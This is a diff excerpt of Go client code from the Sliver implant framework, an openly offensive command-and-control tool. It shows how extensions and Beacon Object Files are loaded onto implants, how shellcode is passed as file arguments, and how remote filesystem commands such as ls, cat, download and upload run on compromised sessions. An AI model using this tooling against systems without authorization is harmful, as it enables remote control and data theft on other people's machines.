Args: func(a *grumble.Args) {
if 0 < len(extCmd.Arguments) {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
argFunc func(string, string, ...grumble.ArgOption)
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "integer", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
default:
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
return
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
} else {
argFunc(arg.Name, arg.Desc)
}
}
} else {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
}
},
HelpGroup: consts.ExtensionHelpGroup,
}
con.App.AddCommand(extensionCmd)
}
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if checkCache {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("List extensions error: %s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
}
depLoaded := false
for _, extName := range extensionList {
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.Name == extName {
return nil
}
}
// Extension not found, let's load it
if filepath.Ext(binPath) == ".o" {
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
return errLoad
}
}
return nil
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return err
}
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
return errRegister
}
return nil
}
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Data: binData,
OS: goos,
Init: ext.Init,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return err
}
if registerResp.Response != nil && registerResp.Response.Err != "" {
return errors.New(registerResp.Response.Err)
}
return nil
}
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
if err != nil {
return err
}
depBinData, err := ioutil.ReadFile(depBinPath)
if err != nil {
return err
}
return registerExtension(goos, depExt, depBinData, ctx, con)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
err error
extensionArgs []byte
extName string
entryPoint string
)
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ext, ok := loadedExtensions[ctx.Command.Name]
if !ok {
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
return
}
checkCache := session != nil
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
con.PrintErrorf("Failed to read extension file: %s\n", err)
return
}
isBOF := filepath.Ext(binPath) == ".o"
// BOFs (Beacon Object Files) are a specific kind of extensions
// that require another extension (a COFF loader) to be present.
// BOFs also have strongly typed arguments that need to be parsed in the proper way.
// This block will pack both the BOF data and its arguments into a single buffer that
// the loader will extract and load.
if isBOF {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if err != nil {
con.PrintErrorf("BOF args error: %s\n", err)
return
}
extName = ext.DependsOn
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
} else {
// Regular DLL
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
extensionArgs = []byte(extArgs)
extName = ext.CommandName
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Call extension error: %s\n", err.Error())
return
}
if callExtResp.Response != nil && callExtResp.Response.Async {
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, callExtResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
})
con.PrintAsyncResponse(callExtResp.Response)
} else {
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
}
}
// PrintExtOutput - Print the ext execution output
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
if extName == commandName {
con.PrintInfof("Successfully executed %s\n", extName)
} else {
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
}
if 0 < len(string(callExtension.Output)) {
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("%s\n", callExtension.Response.Err)
return
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
var extensionArgs []byte
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return nil, err
}
argsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
// Parse BOF arguments from grumble
for _, arg := range ext.Arguments {
switch arg.Type {
case "integer":
fallthrough
case "int":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
if err != nil {
return nil, err
}
case "short":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddShort(uint16(val))
if err != nil {
return nil, err
}
case "string":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddString(val)
if err != nil {
return nil, err
}
case "wstring":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddWString(val)
if err != nil {
return nil, err
}
// Adding support for filepaths so we can
// send binary data like shellcodes to BOFs
case "file":
val := ctx.Args.String(arg.Name)
data, err := ioutil.ReadFile(val)
if err != nil {
return nil, err
}
err = argsBuffer.AddData(data)
if err != nil {
return nil, err
}
}
}
parsedArgs, err := argsBuffer.GetBuffer()
if err != nil {
return nil, err
}
// Now build the extension's argument buffer
extensionArgsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
err = extensionArgsBuffer.AddString(ext.Entrypoint)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(binData)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(parsedArgs)
if err != nil {
return nil, err
}
extensionArgs, err = extensionArgsBuffer.GetBuffer()
if err != nil {
return nil, err
}
return extensionArgs, nil
}
// CmdExists - checks if a command exists
func CmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
+77
View File
@@ -0,0 +1,77 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// ExtensionsRemoveCmd - Remove an extension
func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("Extension name is required\n")
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
err := RemoveExtensionByCommandName(name, con)
if err != nil {
con.PrintErrorf("Error removing extension: %s\n", err)
return
} else {
con.PrintInfof("Extension '%s' removed\n", name)
}
}
// RemoveExtensionByCommandName - Remove an extension by command name
func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedExtensions[commandName]; !ok {
return errors.New("extension not loaded")
}
delete(loadedExtensions, commandName)
con.App.Commands().Remove(commandName)
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
forceRemoveAll(extPath)
return nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
-339
View File
@@ -1,339 +0,0 @@
package command
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"text/tabwriter"
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/encoders"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/desertbit/grumble"
)
func ls(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
if len(ctx.Args) < 1 {
ctx.Args = append(ctx.Args, ".")
}
ls, err := rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: ActiveSession.Request(ctx),
Path: ctx.Args[0],
})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
printDirList(ls)
}
}
func printDirList(dirList *sliverpb.Ls) {
fmt.Printf("%s\n", dirList.Path)
fmt.Printf("%s\n", strings.Repeat("=", len(dirList.Path)))
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
for _, fileInfo := range dirList.Files {
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
} else {
fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
}
}
table.Flush()
}
func rm(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
if len(ctx.Args) == 0 {
fmt.Printf(Warn + "Missing parameter: file or directory name\n")
return
}
rm, err := rpc.Rm(context.Background(), &sliverpb.RmReq{
Request: ActiveSession.Request(ctx),
Path: ctx.Args[0],
Recursive: ctx.Flags.Bool("recursive"),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
fmt.Printf(Info+"%s\n", rm.Path)
}
}
func mkdir(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
if len(ctx.Args) == 0 {
fmt.Printf(Warn + "Missing parameter: directory name\n")
return
}
mkdir, err := rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
Request: ActiveSession.Request(ctx),
Path: ctx.Args[0],
})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
fmt.Printf(Info+"%s\n", mkdir.Path)
}
}
func cd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
if len(ctx.Args) < 1 {
ctx.Args = append(ctx.Args, ".")
}
pwd, err := rpc.Cd(context.Background(), &sliverpb.CdReq{
Request: ActiveSession.Request(ctx),
Path: ctx.Args[0],
})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
fmt.Printf(Info+"%s\n", pwd.Path)
}
}
func pwd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
pwd, err := rpc.Pwd(context.Background(), &sliverpb.PwdReq{
Request: ActiveSession.Request(ctx),
})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
fmt.Printf(Info+"%s\n", pwd.Path)
}
}
func cat(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
if len(ctx.Args) == 0 {
fmt.Printf(Warn + "Missing parameter: file name\n")
return
}
download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: ActiveSession.Request(ctx),
Path: ctx.Args[0],
})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return
}
}
if ctx.Flags.Bool("colorize-output") {
if err = colorize(download); err != nil {
fmt.Println(string(download.Data))
}
} else {
fmt.Println(string(download.Data))
}
}
func colorize(f *sliverpb.Download) error {
lexer := lexers.Match(f.GetPath())
if lexer == nil {
lexer = lexers.Analyse(string(f.GetData()))
if lexer == nil {
lexer = lexers.Fallback
}
}
style := styles.Get("monokai")
if style == nil {
style = styles.Fallback
}
formatter := formatters.Get("terminal16m")
if formatter == nil {
formatter = formatters.Fallback
}
if lexer != nil {
iterator, err := lexer.Tokenise(nil, string(f.GetData()))
if err != nil {
return err
}
err = formatter.Format(os.Stdout, style, iterator)
if err != nil {
return err
}
} else {
return fmt.Errorf("no lexer found")
}
return nil
}
func download(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
if len(ctx.Args) < 1 {
fmt.Println(Warn + "Missing parameter(s), see `help download`\n")
return
}
if len(ctx.Args) == 1 {
ctx.Args = append(ctx.Args, ".")
}
src := ctx.Args[0]
fileName := filepath.Base(src)
dst, _ := filepath.Abs(ctx.Args[1])
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
fmt.Printf(Warn+"%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
ctrl := make(chan bool)
go spin.Until(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: ActiveSession.Request(ctx),
Path: ctx.Args[0],
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
fmt.Printf(Warn+"Decoding failed %s", err)
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
fmt.Printf(Warn+"Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
fmt.Printf(Warn+"Failed to write data %v\n", err)
} else {
fmt.Printf(Info+"Wrote %d bytes to %s\n", n, dstFile.Name())
}
}
func upload(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
if len(ctx.Args) < 1 {
fmt.Printf(Warn + "Missing parameter, see `help upload`\n")
return
}
src, _ := filepath.Abs(ctx.Args[0])
_, err := os.Stat(src)
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return
}
if len(ctx.Args) == 1 {
fileName := filepath.Base(src)
ctx.Args = append(ctx.Args, fileName)
}
dst := ctx.Args[1]
fileBuf, err := ioutil.ReadFile(src)
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
ctrl := make(chan bool)
go spin.Until(fmt.Sprintf("%s -> %s", src, dst), ctrl)
upload, err := rpc.Upload(context.Background(), &sliverpb.UploadReq{
Request: ActiveSession.Request(ctx),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
fmt.Printf(clearln+Info+"Wrote file to %s\n", upload.Path)
}
}
+4
View File
@@ -0,0 +1,4 @@
Filesystem
==========
This package implements file system commands such as `ls`, `cd`, `rm`, `download`, `upload`, etc.
+131
View File
@@ -0,0 +1,131 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/hex"
"fmt"
"os"
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CatCmd - Display the contents of a remote file
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("path")
if filePath == "" {
con.PrintErrorf("Missing parameter: file name\n")
return
}
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, ctx, con)
}
}
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if ctx.Flags.Bool("colorize-output") {
if err = colorize(download); err != nil {
con.Println(string(download.Data))
}
} else {
if ctx.Flags.Bool("hex") {
con.Println(hex.Dump(download.Data))
} else {
con.Println(string(download.Data))
}
}
}
func colorize(f *sliverpb.Download) error {
lexer := lexers.Match(f.GetPath())
if lexer == nil {
lexer = lexers.Analyse(string(f.GetData()))
if lexer == nil {
lexer = lexers.Fallback
}
}
style := styles.Get("monokai")
if style == nil {
style = styles.Fallback
}
formatter := formatters.Get("terminal16m")
if formatter == nil {
formatter = formatters.Fallback
}
if lexer != nil {
iterator, err := lexer.Tokenise(nil, string(f.GetData()))
if err != nil {
return err
}
err = formatter.Format(os.Stdout, style, iterator)
if err != nil {
return err
}
} else {
return fmt.Errorf("no lexer found")
}
return nil
}
+61
View File
@@ -0,0 +1,61 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CdCmd - Change directory on the remote system
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("path")
pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPwd(pwd, con)
})
con.PrintAsyncResponse(pwd.Response)
} else {
PrintPwd(pwd, con)
}
}
+135
View File
@@ -0,0 +1,135 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"os"
"path"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintDownload(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintDownload(download, ctx, con)
}
}
// PrintDownload - Print the download response, and save file to disk
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
}
}
+206
View File
@@ -0,0 +1,206 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"fmt"
"path/filepath"
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// LsCmd - List the contents of a remote directory
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("path")
filter := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if remotePath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(remotePath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurrence+1]
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
_, err := filepath.Match(potentialFilter, "")
if err == nil {
// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
} else {
if !strings.HasSuffix(remotePath, "/") {
remotePath = remotePath + "/"
}
}
}
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if ls.Response != nil && ls.Response.Async {
con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, ls)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintLs(ls, ctx.Flags, filter, con)
})
con.PrintAsyncResponse(ls.Response)
} else {
PrintLs(ls, ctx.Flags, filter, con)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err)
return
}
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Extract the flags
reverseSort := flags.Bool("reverse")
sortByTime := flags.Bool("modified")
sortBySize := flags.Bool("size")
/*
By default, name sorting is case sensitive. Upper case entries come before
lower case ones. Instead, we will level the playing field and sort
regardless of case
*/
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
})
}
/*
After names are sorted properly, take care of the modified time if the
user wants to sort by time. Doing this after sorting by name
will make the time sorted entries properly sorted by name if times are equal.
*/
if sortByTime {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime > ls.Files[j].ModTime
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime < ls.Files[j].ModTime
})
}
} else if sortBySize {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size > ls.Files[j].Size
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size < ls.Files[j].Size
})
}
}
for _, fileInfo := range ls.Files {
if filter != "" {
fileMatch, err := filepath.Match(filter, fileInfo.Name)
if err != nil {
/*
This should not happen because we checked the filter
before reaching out to the implant.
*/
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
break
}
if !fileMatch {
continue
}
}
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
